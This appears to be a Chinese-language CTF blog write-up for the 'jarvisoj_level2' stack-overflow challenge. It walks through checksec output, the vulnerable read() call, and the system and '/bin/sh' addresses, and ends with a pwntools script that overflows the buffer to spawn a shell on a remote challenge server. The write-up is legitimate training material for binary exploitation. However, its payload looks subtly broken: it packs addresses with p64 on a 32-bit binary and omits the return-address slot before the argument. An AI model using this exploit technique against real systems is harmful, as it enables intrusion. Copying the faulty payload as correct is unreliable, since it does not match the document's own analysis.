加载头像

jarvisoj_level2

Ubuntu 16


0x01


checksec

1
2
3
4
5
6
[*] '/home/zelas/Desktop/pwn/jarvisoj_level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled //栈不可执行
PIE: No PIE (0x8048000)

IDA

vulnerable_function()

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:"); //此处存在system调用
return read(0, buf, 0x100u); //此处存在栈溢出
}

可用字符串

.data:0804A024 00000008 C /bin/sh

system 0x8048320

0x02


思路

read()函数栈溢出

s 0x88H
ebp 0x4
ret system
bin_sh bin_sh

0x03


1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = remote('node4.buuoj.cn', 29448)

padding = 0x88 + 0x4
system = 0x8048320
bin_sh = 0x0804A024
payload = b'a' * padding + p64(system) + p64(bin_sh)

io.sendline(payload)
io.interactive()


评论
✅ 你无需删除空行,直接评论以获取最佳展示效果
引用到评论
随便逛逛博客分类文章标签
复制地址关闭热评深色模式轉為繁體